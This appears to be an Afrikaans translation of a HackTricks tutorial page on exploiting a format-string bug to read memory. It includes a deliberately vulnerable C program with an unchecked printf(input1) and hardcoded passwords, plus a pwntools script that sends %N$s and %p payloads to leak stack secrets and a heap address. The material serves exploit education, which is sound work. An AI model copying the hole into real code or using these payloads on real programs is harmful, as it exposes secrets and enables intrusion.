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* [Array Indexing](binary-exploitation/array-indexing.md)
* [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md)
* [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
* [Heap](binary-exploitation/heap/README.md)
* [Use After Free](binary-exploitation/heap/use-after-free.md)

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# Formaat Strings - Willekeurige Lees Voorbeeld
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
## Kode
```c
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
```
Stel dit saam met:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Lees vanaf stak
Die **`stack_password`** sal in die stak gestoor word omdat dit 'n plaaslike veranderlike is, dus is dit genoeg om printf te misbruik om die inhoud van die stak te wys. Dit is 'n aanval om die eerste 100 posisies te lek om die wagwoorde van die stak te onthul:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In die beeld is dit moontlik om te sien dat ons die wagwoord van die stok in die `10de` posisie kan lek:
<figure><img src="../../.gitbook/assets/image (1231).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1230).png" alt="" width="338"><figcaption></figcaption></figure>
Deur dieselfde aanval uit te voer, maar met `%p` in plaas van `%s`, is dit moontlik om 'n heap-adres van die stok te lek by `%5$p`:
<figure><img src="../../.gitbook/assets/image (1232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1233).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
Die verskil tussen die gelekte adres en die adres van die wagwoord is:
```
> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a
```
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>